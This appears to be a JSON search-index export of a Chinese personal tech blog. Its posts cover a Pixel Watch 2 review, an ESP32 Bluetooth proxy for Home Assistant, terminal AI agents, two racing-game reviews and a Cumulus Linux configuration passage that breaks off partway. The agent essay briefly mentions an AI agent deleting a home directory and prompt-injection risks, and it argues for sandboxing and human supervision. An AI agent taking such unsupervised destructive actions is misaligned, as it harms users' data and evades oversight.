[{"content":"我其实很久以来都对智能手表没什么兴趣，一方面是不喜欢比手环再宽一圈的表体，另一方面也是实际上并没有那么大的需求。从小米手环2开始，我便一直以差不多两代一换的频率使用小米手环，中途只有一次换了红米手表，后来证明它也只是个大号手环，literally，没有GPS没有强力的健康监测，只是屏幕方了，质感还反而变差了。\n购买Pixel Watch 2其实缘起于找实习时压力太大，重操旧业买点数码产品玩玩。偶然看到了仅在海外发售的小米手表2 Pro，几乎全新的产品仅售300块钱左右，便能得到骁龙W5+这一当前两三千元的主流芯片；后被朋友提醒Pixel Watch 2也差不多这个钱，又一想小米的系统维护，本身作为两年多前的产品也确实不能指望更新了，于是以不到400块钱的价格，在闲鱼某贩子处入手了一块二手Pixel Watch 2（WiFi版）。\n手腕上的一颗鹅卵石 之前最担心的佩戴体验，反而在这块表上解决得很好。整块表上除了表冠几乎完全没有任何凸起，从来没有刮衣服之虞。正面由一整块曲面玻璃覆盖，一直圆润地过渡到铝合金表体，没有多余的表环等装饰。屏幕隐藏在玻璃的下方，无论亮屏与否均一体感极强，只有在十分刁钻的光照强度下才会看到玻璃下面不点亮的AMOLED屏；虽然实际上的黑边很大但却并不会被察觉到，反而拜极强的一体性所赐，不需要使用全屏AOD来遮掩黑边。41mm的直径虽然的确比手环宽了不少，但是相对来说仍然小巧，如果并不将手表作为重要的信息摄取工具的话非常合适，手腕能够自由伸展，不会阻碍活动。\n手表外观 屏幕的可视度做得还算不错，在室外强光下虽无法消除反光，但亮度完全够用，文字清晰可辨；AOD模式下也提供了相对比较充裕的亮度，室外的可用性是有保证的。抬腕亮屏的算法也十分精准，无论是躺着、坐着敲键盘还是站着，基本只有表盘真正对着脸的时候才会触发，搭配抬手才会显示详细信息的通知推送策略，比无脑地收到消息直接显示的策略智能得多。\n得益于高通在手表端的完全摆烂状态，骁龙W5的性能完全不成问题，毕竟开发者不得不针对它做优化（笑）。发热仅在重度使用时出现，系统动画基本流畅，加载速度也完全可以接受。\nAOD虽好，然而我却并不能时时刻刻放心开，因为它的电池续航实在是有限了。在比小米手环8 NFC仅仅大60%的电池下，需要塞进更强大更复杂的传感器，更激进的健康监测策略，更大更亮的屏幕，甚至还有在更强大的芯片中运行的Android（Wear OS）系统。这造成了它一天下来常常只剩30%不到的电量1，如果再开启GPS跑步半小时，更是会再下降10%左右。充电速度上，则基本是半小时几乎充满，一小时到100%。\n谷歌全家桶来了也是毛坯房 Google是软件公司，但这不代表Google的软件质量一定高，也不代表Google的号召力能够一呼百应——Wear OS在国际上，存在感类似于Google Play之于某东方大国。应用之匮乏令人发指，Play商店里站台的大厂商寥寥无几，排行榜里仅需多翻两下就没几个大平台的客户端了，基本上就寥寥几类，运动记录（你们自己OEM没有吗）、表盘（我还是习惯自带表盘），以及车钥匙（可惜我没车）。\n与应用商店的荒凉形成对比的是，系统自带了大量不可卸载的Google服务。我请问了，预装个查找中心就算了，为什么要预装卸不掉的Google Home和YouTube Music呢？塞进了这么多Google服务，怎么就没想到内置个指南针呢2？从Play商店的边边角角发现了Wear OS版的Pixel录音机，然而录音只能保存在手表上，暂时不能同步到手机上——那我录了干什么呢？\n最难以理解的还是语音助手应用，这个东西是跟着Google账号走的，手表商安装的App都是同一个，如果账号之前使用过Google Assistant的话，那么手表上的语音助手就是Google Assistant；要在手表上使用Gemini，则必须在手机的Gemini App中切换数字助理，手表会自动同步。以上的信息没有在手表Gemini App和手机Pixel Watch App的任何地方提到，只在官网的文档中提了一句。\n只在网站角落的文档中提到了手机的数字助理设置 国内的生态相对来说也比较灾难。高德地图根本没得用，微信手表版死活绑不上，QQ完全不支持表冠交互，看起来也没给圆表做适配，只有IT之家和支付宝等少数App的Wear OS版本比较正常。当然，在这些自行设计的App中，屏幕的黑边就变得非常明显了。还有一些人借助第三方应用商店中上架的第三方微信/QQ，但连at符号都打不出来的触摸键盘恐怕很难有什么好的体验。\n如果要我挑一个最不满意的软件功能，那必然是缺少了门卡模拟，甚至不支持写空白卡，交通卡那确实不能强求了。似乎国外对这个功能的需求也不大，隔壁Ticwatch也只有国行版支持，而Google Pay支持完善的刷银行卡功能在内地没有合作银行，一根筋两头堵，相当于NFC就这么废掉了。现在它甚至完全不会与其他NFC设备产生交互，手痒充了3美元的Clipper后也没有任何反应。\n另外还有些小细节，比如手机和手表的勿扰和睡眠模式同步，这个可能在Pixel手机上能做到，但国行Android手机上能连Pixel Watch就不容易了，就不强求这些魔改系统实现功能了。\nFitbit之魂 不是所有智能穿戴品牌都具有健康监测的历史积累的，Google也没有，但它有钱，把Fitbit买下来了。与小米手环8 NFC相比，准确度体感上的确有了一定的提升，尤其是睡眠检测，躺着玩手机不会再计入睡眠了。虽然并没有条件去核实准确性，但计算出的各种指标确实很能给人情绪价值，让人觉得很厉害的样子。\nGPS的准确度不错，虽然相比手机来说搜星速度仍然有巨大差距，但在室外开始跑步后基本不需要等待了。\nFitbit App具有新旧两款界面可选。旧版的界面很有意思，所有的健康指标全部集中在“今天”页面上，而当希望查看记录下来的锻炼的时候，打开“教练”页面却发现全都是Premium专有的卖课内容；运动记录需要从“今天”找到“心肺负荷”，才有当日的锻炼记录列表。对于非Premium的我来说，其他两个tab基本相当于废掉了。\nFitbit App的旧界面 新界面就好得多，分为“今天”“健身”“睡眠”“健康”四个tab，卖课内容非常收敛，不再占据显要位置，每个tab都是某个方面的数据速览，相对来说更加高效。但似乎新版界面也带来了新的数据统计流程，心肺负荷目标变为了以周计，而且一周的负荷目标似乎也和之前的日负荷之和不太一样。\nFitbit App的新界面 手表究竟是个什么角色？ 作为一个长期的手环用户，腕上的设备对我来说一直几乎只是一个健康记录工具，甚至激进地来说，我都不需要它带屏幕。在戴了20天全智能手表后，我的观点依然没有改变：我得到了更大的屏幕、更好的健康检测，但却失去了两天一充、最长能坚持七天的续航；得到了更自由的软件生态，但却失去了软件接口并未开放的门卡模拟功能。\n如果有了eSIM，会解锁更多的可能性吗？有可能但不多，我还是更希望手腕上的设备能尽量不要太大，尺寸限制住之后屏幕就没有什么可发挥的空间了。穿戴设备上的应用再多，信息交互的效率却仍然比不上更大屏幕的手机，也不能完整地覆盖应用场景——除非是远离电子设备放空自己，那话又说回来了，我不带手机该如何刷门卡呢？\nPixel Watch 2给了我许多的新体验，作为全智能手表来说也超出了我对这个价位的期望，但也许下一次，我会选择一个国行大号手环。\n已使用ADB做电量估算，软件电池健康度接近100%，但考虑到已生产3年，电池的实际容量可能已经衰减了不少。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n疑似陀螺仪的精度有点太差了，所有第三方指南针App均有着严重的误差，校准起来并不容易。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"April 22, 2026","matchCount":0,"permalink":"/post/pixel-watch-2/","preview":"","title":"Pixel Watch 2：最终还是只能成为大号手环吗"},{"content":"相比几年前，Home Assistant的生态真是有了长足的进步。价格合适的小米蓝牙温湿度计2，现在不需要刷写第三方固件，也不需要抛弃米家App，便可以连接Home Assistant了。通过Xiaomi BLE插件，Home Assistant可以直接读取小米账户中的蓝牙key（或手动输入key），并解密蓝牙Beacon数据。然而，鉴于这次运行Home Assistant的电脑也不再是之前那台，设备的问题变成了网卡的问题。之前使用的MT7925相对比较稳定，而现在的AX200则经常无法收到BLE广播，导致Home Assistant获取到的数据时断时续，最严重的时候一天加起来也就收集几个小时。偶然ChatGPT告诉我，可以使用ESP32作为蓝牙代理，信号好很多。事实证明的确，而且没有嵌入式开发经验的人也能轻松上手。\n购买 我购买的是ESP32-WROOM-32E开发板，二三十块钱，不用焊引脚，因为不需要任何扩展性。需要更强信号的可以试试能够外置天线的-32UE，但我使用的-32E对于一个人住的环境已经非常足够。\n为了方便刷写，板子当然还需要搭载串口转USB模块，也就是带个USB口。\n刷写 把板子接上电脑，这个时候有两种选择。对于像我一样只需要靠它扩展蓝牙范围的用户来说，可以直接用Chromium内核的浏览器打开这个网站，确保上面选中的是Bluetooth proxy，选择generic ESP32，然后点击下面的Connect。你将会看到一个类似这样但又有所不同的界面：\n刷写菜单 上面会有一个Flash选项，这时直接点击它就可以自动刷写含有蓝牙代理功能的固件了。之后它会提示你连接到你的2.4GHz Wi-Fi网络。\n如果遇到问题也不要慌，当出现类似improv wifi serial not detected之类的错误时，点击菜单中的Logs \u0026amp; Console查看日志，或点击Reset Device让它重启一下。日志会表明重启进程，之后就可以继续配置Wi-Fi了。\n上面没提到的另一种选择是使用ESPHome Dashboard，但由于当前受支持的Docker部署HA方式不再支持Add-on，HACS也没有上架，后续还要改配置文件，略麻烦一些，所以这里就不赘述了。只是要注意一点，刷写空ESPHome固件后也可以添加到Home Assistant中，但是它默认没有任何实体，需要在ESPHome Dashboard中（而非Home Assistant中）修改YAML配置文件。\n配置 配置更简单，打开Home Assistant，进入设置-设备与服务，这时很大概率会出现发现到你的ESPHome板子，直接添加即可；如果没有发现，再点击右下角的加号，选择ESPHome，输入你的ESP32的IP地址，点击提交即可。获取IP地址有多种方法，最暴力的方法是直接扫一遍局域网，找到它的MAC。\n添加完成后，它会像本机的蓝牙一样出现在Home Assistant的蓝牙设置中，和机器自带的网卡享有同等待遇，包括那个酷炫的可视化界面——现在内置网卡和ESP32都可以连接附近的BLE设备了。\n蓝牙设备列表 ","date":"March 3, 2026","matchCount":0,"permalink":"/post/esphome-bluetooth-agent/","preview":"","title":"不用买网关，ESP32蓝牙代理解决Home Assistant BLE问题"},{"content":"体验了许多的AI工具，我觉得最趁手的还是OpenCode之类的终端agent。决定终端agent优势的因素，我分三个部分：基于本地、终端形态，以及human in the loop。\n为什么是本地agent？ 当LLM能够通过工具调用和外界打配合的时候，就已经意味着它的能力已经超越了单纯的聊天解闷，或是解决一些逻辑问题。无论是调用Python增强自己的计算精度，还是调用网络搜索获取最新的结果，甚至调用生图工具另请高明生成一张图片，这项能力似乎在至少9个月前就已经在ChatGPT中落地了。然后就是轰轰烈烈的大agent时代，先是Cursor和Claude Code等coding agent使劲从 程序员 vibe coder钱包里榨钱，以及MCP赋予了自定义工具的能力，之后中间省略直到最近千问整合接入了阿里的各种产品，大模型的能力边界也确确实实地随着工具的丰富而不断地扩展。\n模型决定了agent分析问题的准确性、调用工具的技巧，工具（或者MCP/Skills）决定了agent可以做到的事情，而agent本身运行的平台，则决定了其在不额外添加工具的情况下能办到什么。回想我体验过agent，在第三个方面都有一些特征：\nChatGPT普通模式，不清楚是怎么做的，不过可以调用Python，只能用一些已有的包。可以读取用户上传的文件，另有多种App（可能是类似skill的东西），可以连接云盘。 ChatGPT agent模式，在OpenAI的服务器上起一个类似Debian的容器，天然沙盒化。在上述功能外支持了接近完整的Linux能力。 千问App1，全都做成了单独的模式，单独的deep research，单独的代码执行，而用阿里旗下的点外卖、找路线，嘿，又是一个单独的模式。 Cursor/Copilot/Cline等AI IDE（插件），在IDE中运行，以代码为中心，改代码甚至写论文都非常方便。 Codex和OpenCode等终端编码agent，通常依托终端界面，以及本地文件系统和程序工具。 Claude for Desktop和Codex App，像是Claude Code套了个壳子，不过拥有更友好的GUI界面。 当agent在本地电脑上运行的时候，它更能够像人类一样使用电脑，而不是被局限在某个App或某个平台里。利用现有的环境也可以节省很多重复性的安装依赖等工作，并使用当前人类熟悉的配置文件。更重要的是，本地agent具有本地文件系统的优势，除了代码仓库，也可以十分方便地浏览工作资料等文件，甚至操纵本地运行的客户端程序。相反，在云端运行的agent仿佛带有一种隔阂，不依赖本地的状态则不像是在“为用户”处理工作。，\n的确，本地的文件太过繁杂，而现在仍然需要明确告诉agent哪里有文件，它才能自觉去引用、去综合、去整理，而不能自动地附带上下文。而我要说，基于云、连接网盘的方案有一样的问题，且难以推动云存储商实现便捷的文件查找接口（即使强如OneDrive搜索功能，也未必能给ChatGPT相似级别的权限）；而对于本地，大规模RAG是一个理论上可解且工程上可行的问题，但目前确实有一些文件检索路线上的争论。\n本地终端的另一个优势在于，通过利用本地的命令行工具链，它能够很好地遵守Unix哲学，通过shell管道和文件系统组合各种小工具，以达到极高的自由度。丰富的训练数据令LLM天生熟练使用shell，而无需花费额外context介绍工具调用或者MCP的spec。这是云端agent难以办到的，而即使是提供一个容器的ChatGPT agent模式，也更难包含所有任务需要的工具。\n至于chatbot提供的工具，Codex App和Claude App也能够添加其他MCP/工具，体验也已经基本是对齐的。\n为什么是终端？ 我们暂且认为本地相对更有优势，好，那么为什么是终端，而不是IDE或者GUI的形式？有主观原因也有客观原因。\n其一是大多的AI IDE均基于VS Code，其性能虽然在IDE中算是较为优秀，但打开项目后仍然常有数百至数千MB的开销。这在编码任务中非常方便，因为能随时审查agent对代码的修改；但在常常涉及二进制文件的其他通用任务中，则显得相对累赘。正如朱亦博老师在Step 3.5 Flash博客中提到的，许多人并不会紧盯着执行过程中的过程，写了什么样的Python脚本，而是希望专注于运行结果，而结果很可能并不由代码呈现。\n倒不是说终端agent都多轻多快，当然OpenCode和Claude Code等工具由于实现问题，占用内存也很大，所以这里重的感觉也未必客观，或者更多的是一种跟手感。\nClaude for Desktop等桌面agent很好，有很强的computer use能力，在代替人解放繁杂工作这一方面，Anthropic算是起步比较早，整得也比较明白的。也有一个比较全面的marketplace，提供了接入各种第三方平台的工具。对于买了Claude订阅的普通人来说，它是一个比较理想的通用agent形态。\n大部分GUI形式agent也有自己的问题，就是在远程主机上用起来十分不方便。且不提三大系统唯独缺了一个Linux版本，不管是连接Windows本地的WSL，还是远程Linux服务器，都不能指定agent的实际运行环境。Windows上的PowerShell还是不要谈Unix哲学了，毕竟它连Unix都不是。相比于标准稀碎、网络要求高的远程桌面，SSH（或类SSH）作为既成标准，连接起来一般不会出什么差错，且由于传输的数据量不太大，在处理一些主要依赖远程机器的任务时，效率也更高。当然这并不是一个常见的需求，更多的还是我的个人喜好，如果Claude for Desktop糊一层客户端与服务端通信的协议，或许也会解决这个问题。\n为什么不是OpenClaw？ OpenClaw很好，好在它打通了自主行动的链条，比被动的一问一答、等待指令更加灵活；但它坏就坏在过于灵活，对于人类完全是黑盒，几乎完全不可控也不受监管，也没有内置沙盒机制（当然用户应该有这样的自觉），甚至还有Moltbook这样的注入攻击温床。如果说使用Antigravity删除家目录这种事可以通过停止agent运行或者加入命令黑白名单来解决，那么对于并不会全程暴露执行过程的OpenClaw来说，则无异于蒙着眼睛凭感觉开车，一般来说能到达终点，而翻下悬崖也没什么意外。\n经过几年的发展，coding agent已经有了很多防止把代码库改炸掉的方案，比如建立多个worktree分别编辑，比如利用git的功能来暂存修改，比如使用bubblewrap把agent装进沙盒，等等等等。然而，显然OpenClaw一个都没做到，顶多也就是个MVP（2026年2月）。Docker并不能解决所有问题，agent的权限范围越大，其能力也就越强，辛辛苦苦写了一大串ACL，到头来总会遇到因权限而无法完成的任务。还不如使用声明式的方案，所有的更改以文件形式暂存，用户审核后再应用到系统中——文件而非命令的配置，某种程度上又是一种Unix哲学。或者甚至直接给整个硬盘打快照，起码给了用户救回来的机会。\n毫无疑问这种高度自主化的agent将会是未来的发展方向，但在它彻底融入日常生活，放心地把任务交给它之前，起码还是先加一些安全措施吧。起码现在，我宁愿盯着OpenCode的执行过程，并随时准备停止、接管或者完善任务。\n为什么老是提千问？只是因为我没用过豆包，元宝只用来抢红包。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"February 2, 2026","matchCount":0,"permalink":"/post/terminal-general-agent/","preview":"","title":"终端Agent是更趁手的通用Agent"},{"content":"相信《无限试驾》系列应该是许多RAC爱好者的白月光，可惜我入坑太晚，之前一部都没有玩过。如今赶上了许久之后的系列新作《太阳王冠》，其发售后经历了早已经看腻了的风评反转环节。本来36%好评率的游戏打折到55块钱我也不会看一眼，但是正好碰上了免费周末，本着不吃白不吃的心态，腾出了100G的空间安放这个游戏。从游戏数据来看，似乎同时有最高700名和我一样爱赤石体验不同RAC的玩家被免费周末吸引而来。\n为了防止缺点太震撼，先说说做得不差的地方吧。首先，有手柄扳机振动。左扳机刹车会模拟降档时发动机的振动，而手柄振动通常模拟升档、路面和碰撞，不算顶级但也不错。车辆的驾驶手感也相对容易上手，轮胎死死地抓住地面，轮胎叫声再尖锐都能把车身姿态救回来，是比较能给休闲玩家正反馈的类型。\n另外一个可能是TDU系列传统，就是对车辆细节的把控。买车时除了车漆还可以定制内饰、轮毂、刹车卡钳等细节，甚至驾驶时专门留出了一个圆盘菜单，用于操控车灯（包括双闪）和雨刷等功能。虽然定制车漆甚至轮毂都算是烂大街的功能，但TDUSC的真实程度更上一层（非默认选项要加钱）。许多（如果不是每辆）车都有听起来单独录制的引擎声音和喇叭声音，敞篷车能够开关顶棚，也有完整的开关窗户动画。车内视角建模不是太精细但胜在全面，仪表盘还原很不错，Mustang的仪表盘甚至有中文。对于宝马i8和保时捷918 Spyder这种混动车，甚至有一个单独的电量HUD仪表盘，松开油门使用动力回收充电，有电时则同时使用电机驱动。美中不足的是车单似乎比较小，四个德国车品牌拆进两个车商，美国车商只有福特，要不还是改名叫福特4S店吧。\n定制能力 好了那么接下来就是震撼赤石环节，首先是性能问题。要不是最近还在玩EA Sports WRC，连遇到两个超烂优化RAC（另一个是老前辈《赛车计划3》），我还以为4060Ti才过两年多已经被RAC抛弃了呢。在中预设、4K分辨率下、DLSS性能档（渲染分辨率1080p），帧率能上30就谢天谢地了，更多的情况只有20出头，10出头也不少见，此时的显存占用已经超过了7 GB。即使有了帧生成神力，也仅仅能将帧率推向40出头，而此时由于未知原因造成的开不了垂直同步，画面撕裂又成了常态。最神奇的是UI分辨率并没有保持在4K，文字边缘都是毛边，那我开DLSS为了啥呢，为啥不直接降到1080？更何况很可能由于爆显存的原因，游戏内帧率常常降到5 FPS，此时必须将纹理质量再次降低到低，才可得到一个正常游玩的帧率。很神奇吧，这是黑猴以外头一个DLSS性能档都会爆显存的游戏了，即使去掉爆显存问题也跑不到60 FPS。\n对香港的还原也堪称外交事故级。首先一个正常的人从太平山顶往下看，应该能看到灯火通明的中环，或者起码标志性的中银大厦。然而在游戏中，只能看到一片漆黑，偶尔能看到一些零星的灯光，不知道的还真以为小渔村了。我尝试过调整游戏中的“视距”选项，但并没有任何帮助，维港的夜晚总是静悄悄。\n未曾设想之中环 至于像巴士站的细节，只能说有但是不多，更像是开发商随便Google了“Hong Kong bus stop”，把图扒下来去掉logo，然后贴到了所有的站牌上；电车则更加简单粗暴，是纯原版。我们先不追究为什么站牌直插在沥青路上，难道用这种素材真的没有版权问题么。\n巴士站 对应的巴士路线图 除此之外，红色的士也没拿到丰田的授权，香港应该也没有这么宽的路。当然从上手难度和设计难度上来说，建一些宽的路确实有一定必要性。路边的商店倒是让我想起了《战地4》，有“甘宁斯 gannings”（如图）和“范森斯 Vansons”，不由得想起来《战地4》里的啃得起。另外TDUSC里也有完整的普通话配音，但非常棒读，什么粤语在哪儿？哈哈，香港为背景的游戏，配音没粤语。\n游戏街景 作为以肾上腺素为第一要务的arcade RAC，《极品飞车》的地图设计常常“缝合”多种地形，以满足不同的玩法；而更加“养老”的《极限竞速：地平线》取材真实的爱丁堡，其地图制作相对精良，即使不参加比赛，也可以遨游于城市的每个角落，看看风景，拍拍照（《飙酷车神》中也是类似）；而TDUSC中的香港则并不是很香港，地标也不地标，街道也不街道，造景也不造景，中环风貌也与实景所见相去甚远，有时候现代化的写字楼旁就是拥挤的唐楼，感觉像是素材库限时免费了，地图设计者先导入香港路网图，然后索性胡乱摆一下，找几个中文字贴上去完事，然后便可以宣称1:1比例完全复刻香港岛。这的确是赛车游戏史上第一次出现香港岛，但如果由它来代表香港的话也太可惜了。\n作为全程联网的游戏，老实说其网络表现超出了我的预期，也可能是因为900多并发算不了什么。在几个小时的游玩过程中，没有任何的断连情况发生。然而，通过对其他车辆的观察，我猜想即使是街车也是由服务器控制的；顶着900 ms的延迟，服务器下发的NPC车辆位置也会有明显的跳跃，或是突然出现、突然消失。于是，驾车漫游在街头的时候，会发现有些车突然往前往后瞬移，两辆车撞在一起，或是离地几十厘米，甚至会把停在路边的无辜玩家车辆顶飞。考虑到这游戏的物理也比较神奇，我认为其令人讨厌的程度不亚于《极品飞车》中十分随机出现的街车。\n网络上诟病比较多的赛事AI我反倒感觉还好，可能是AI加成开得比较低没有侵略性。但赛事这一块也确实没什么新意，机器语音抛过来个任务接就是了，可能它想做的是类似入门教程的简短剧情，但剩下的内容主要靠长线运营来填，但就平常只有200多人在线的情况来看，似乎也没填上性能和地图问题的坑。也难怪，一年半了还有这么严重的问题，能吸引到首发时的5000多玩家会坑才是怪事。\n总之多亏了Nacon和KT Racing的免费试玩机会，我不必浪费钱买这部作品，不过Nacon给我赔偿精神损失费也是可以的。除了被毁掉的TDU之外，也替WRC粉丝感到可惜，毕竟如果EA继续买授权，WRC版权也就不会落到KT Racing手里了。\n","date":"January 17, 2026","matchCount":0,"permalink":"/post/tdu-solar-crown/","preview":"","title":"《无限试驾：太阳王冠》：小作坊别出来骗钱"},{"content":"出于对年度诈骗赛车大作Project Motor Racing和Ian Bell的好奇，玩了一下《赛车计划3》这部 史诗 史级赛车巨作。玩了没几分钟我脑袋里就只剩两个想法：一个是庆幸，玩这么多年赛车游戏只品鉴过Ian手下的一款游戏（即《极品飞车：变速》）；一个是疑惑，Codemasters到底是怎么看上Slightly Mad Studios的？\n一上来就让我没绷住，我一般同时使用笔记本内屏和外接显示器，上下叠放，没想到画面自动被扩展到了两块屏上，每次进游戏必须先切换仅外接屏幕，然后再切回扩展模式，谁懂两块屏幕分别出现半个万代南梦宫logo的救赎感。\n并非三联屏 作为赛车游戏来说跑起来之后不会太关注画面，然而这游戏不一样，它太卡了，4K高画质只有20~30 FPS，CPU和GPU全吃满。这么高的硬件需求一定效果秒杀晚辈吧，并不，建模塑料感，光影廉价感，赛道锯齿感，就连UI文字也不清晰，我都觉得是1080p上采样来的。\n太顶级了这画质 作为拟真赛车，操控难度比开拉力还高；作为休闲街机，玩法又比不上那几个老资格系列；作为simcade，也不能像《极限竞速》一样给人情绪价值。说到操控，这游戏碰撞成本极高，擦边就像被黏住了一样，而给得比较严格的赛道边界更是使其雪上加霜。一spin起来就发狠了忘情了，车有自己的想法了，再也管不着它了。\n好在这东西已经在半年以前下架了，更好的消息是Project Motor Racing已经收获了“多半差评”。\n","date":"December 12, 2025","matchCount":0,"permalink":"/post/project-cars-3/","preview":"","title":"《赛车计划 3》：早该下架的史级烂作"},{"content":"怎么前一段时间搞软路由，这次搞起大号硬路由了（并非）\nCumulus Linux是NVIDIA给交换机做的Linux系统，基于Debian。NVIDIA把交换机ASIC的配置抽象出来以Linux配置的方式呈现，实际用下来使用相对熟悉的逻辑还是更方便一些。\n虽然是基于Debian的，但NV似乎并没有完全承诺兼容，况且交换机上那颗双核X86 CPU恐怕连星露谷都带不起来，还是别整花活了。不同的Cumulus Linux版本自带的软件包也不同，操作逻辑等有着显著的差距。NV网站上有适用于各个版本的文档，当确定不下来的时候，与其找一个不知哪来的野文档 （包括这篇） 或是版本号对不上，不妨问问ChatGPT，让它开联网搜一搜。\n从5.0版本开始，Cumulus Linux引入了NVUE（NVIDIA Unified Extensible）配置框架（也就是 nv 命令这一套），用来取代NCLU（即 net 命令）。在包括5.1在内的多个版本中，NCLU的后端也是NVUE，而在更新的一些版本中，则干脆没有了NCLU。无论如何什么时候，都应该尽量避免直接编辑 /etc/network/interfaces，更不应该使用systemd-networkd、netplan或者NetworkManager之类的工具，尽量将NVUE作为single source of truth。\n用户管理 https://docs.nvidia.com/networking-ethernet-software/cumulus-linux-51/System-Configuration/Authentication-Authorization-and-Accounting/User-Accounts/\n默认用户名是 cumulus，但和其他许多Linux一样，可以通过 adduser 工具添加用户，正常地设置密码，正常地配置SSH public key。\n与简单的判断sudoer不同，NVUE有着自己的更细粒度的用户组权限控制。三个不同等级的用户组分别为：\nnvshow，只能查看配置（如 nv show config），不能修改 nvset，可以执行 set 或 unset 命令，但不能实际提交（即真正生效） nvapply，不仅可以编辑staging的配置，还可以提交生效 声明式配置管理 https://docs.nvidia.com/networking-ethernet-software/nvue-reference/Config-Commands/\nNVUE进行系统配置的方法是声明式的。有些读者可能会立即想到Nix，事实上它们确实很相似：系统的状态由配置文件描述，更改系统的配置本质上就是更新配置文件，然后触发系统的重配置。的确，Linux系统的网络配置仍然由命令式的 ifupdown 等工具处理，NVUE只是将配置文件抽象为NVUE的配置模型，然后替我们生成底层的配置文件，或是调用对应的命令。只需查看 nvued.service 的日志就能发现这一点。\n声明式配置的一个好处是，可以用一个文件直接描述系统的配置状态。只需要 nv config show 命令，就可以看到当前交换机的所有配置信息，就像这样：\nyaml 复制代码 - set: bridge: domain: tor_bridge: type: vlan-aware stp: state: up: {} vlan: \u0026#39;102\u0026#39;: {} qos: roce: enable: on mode: lossless system: config: snippet: ifupdown2_eni: swp1: | post-up ip neigh replace 10.0.255.2 lladdr 90:0a:84:xx:xx:xx dev swp1 nud permanent pre-down ip neigh del 10.0.255.2 dev swp1 vrf: tora: table: auto router: static: 192.168.106.0/24: address-family: ipv4-unicast via: 10.0.255.2: type: ipv4-address interface: eth0: type: eth ip: address: 10.0.25.1/16: {} swp1: type: swp ip: address: 10.0.255.1/24: {} vrf: tora tor_bridge: type: bridge vlan102: base-interface: tor_bridge type: svi vlan: 102 ip: address: 192.168.102.1/24: {} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 - set: bridge: domain: tor_bridge: type: vlan-aware stp: state: up: {} vlan: \u0026#39;102\u0026#39;: {} qos: roce: enable: on mode: lossless system: config: snippet: ifupdown2_eni: swp1: | post-up ip neigh replace 10.0.255.2 lladdr 90:0a:84:xx:xx:xx dev swp1 nud permanent pre-down ip neigh del 10.0.255.2 dev swp1 vrf: tora: table: auto router: static: 192.168.106.0/24: address-family: ipv4-unicast via: 10.0.255.2: type: ipv4-address interface: eth0: type: eth ip: address: 10.0.25.1/16: {} swp1: type: swp ip: address: 10.0.255.1/24: {} vrf: tora tor_bridge: type: bridge vlan102: base-interface: tor_bridge type: svi vlan: 102 ip: address: 192.168.102.1/24: {} 这个片段展示了一个简单的交换机配置，包括VLAN、VRF、QoS以及接口配置等。可以看到，配置是以层次化的YAML格式呈现的，非常直观。值得注意的是里面有以命令形式存在的snippet，虽然的确是命令式配置，但也是NVUE不支持配置情况下的无奈之举（5.1.0还不支持固定neighbor）。\n用文件描述配置的另一个好处在于，版本控制非常方便。事实上NVUE也是这么做的：它真的用Git来管理历史，不信可以试试 nv config history 命令，应用的配置相当于被commit了。同样还有来自Git的staging概念，熟悉Git的读者应该很容易上手这几个选项：\nnv config apply：将暂存中的配置生效 nv config detach：放弃暂存的配置，从当前应用的配置开始做修改 对暂存的配置作出修改，有三种方式：其一是直接使用 nv set 和 nv unset 命令，其二是用新的配置文件替换当前的配置，其三则是将新的配置文件合并到当前的配置中。第一种方式相对更接近先前的命令式配置习惯，至于后两种方式，则使用下面的例子来说明。\n假设当前 nv show config 输出如下：\nyaml 复制代码 - set: interface: eth0: type: eth ip: address: 10.0.25.1/16: {} 1 2 3 4 5 6 7 - set: interface: eth0: type: eth ip: address: 10.0.25.1/16: {} 有一个新的配置文件 new.yaml，内容如下：\nyaml 复制代码 - set: swp1: type: swp ip: address: 10.0.255.1/24: {} 1 2 3 4 5 6 - set: swp1: type: swp ip: address: 10.0.255.1/24: {} 如果使用 nv config replace new.yaml 进行替换，那非常不巧，你的 eth0 配置就丢了，下一步大概就是去找串口线改配置了。而如果使用 nv config merge new.yaml，那就会把 swp1 的配置加进去，eth0 依然保留。\n当你终于下定决心，要试试新调整的配置会不会把交换机搞崩的时候，可以使用 nv config apply 把配置提交生效。好消息是NVIDIA早就考虑到了配置错了SSH都连不上的问题，所以可以加一个 --confirm 选项，在10分钟内没有手动确认的话，配置会自动回滚，即使刚刚误用了 replace，也只是断10分钟而已。\n排除连接问题 https://docs.nvidia.com/networking-ethernet-software/cumulus-linux-51/Monitoring-and-Troubleshooting/Troubleshooting-Network-Interfaces/Troubleshoot-Layer-1/\n有时候因为各种原因某个口死活up不起来，Cumulus Linux提供了一个方便的工具：l1-show。\nshell 复制代码 cyp0633@cumulus:mgmt:~$ sudo l1-show 1-3 Port: swp1 Module Info Vendor Name: FINISAR CORP. PN: FTLC1154RDNL-FH Identifier: 0x11 (QSFP28) Type: 100g-lr4 Configured State Admin: Admin Up Speed: 100G MTU: 9216 Autoneg: Off FEC: Auto Operational State Link Status: Kernel: Up Hardware: Up Speed: Kernel: 100G Hardware: 100G Autoneg: Off FEC: RS TX Power (mW): [1.8559, 1.839, 1.7584, 1.783] RX Power (mW): [0.878, 1.0508, 0.9174, 0.9853] Topo File Neighbor: None, None LLDP Neighbor: cumulus, swp3 Port Hardware State: Compliance Code: 100GBASE-LR4 or 25GBASE-LR Cable Type: Optical Module (separated) Speed: 100G Autodetect: FORCE - 100G Eyes: 385, 365, 419, 366 Grade: 31012, 21952, 31012, 25147 Troubleshooting Info: No issue was observed. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cyp0633@cumulus:mgmt:~$ sudo l1-show 1-3 Port: swp1 Module Info Vendor Name: FINISAR CORP. PN: FTLC1154RDNL-FH Identifier: 0x11 (QSFP28) Type: 100g-lr4 Configured State Admin: Admin Up Speed: 100G MTU: 9216 Autoneg: Off FEC: Auto Operational State Link Status: Kernel: Up Hardware: Up Speed: Kernel: 100G Hardware: 100G Autoneg: Off FEC: RS TX Power (mW): [1.8559, 1.839, 1.7584, 1.783] RX Power (mW): [0.878, 1.0508, 0.9174, 0.9853] Topo File Neighbor: None, None LLDP Neighbor: cumulus, swp3 Port Hardware State: Compliance Code: 100GBASE-LR4 or 25GBASE-LR Cable Type: Optical Module 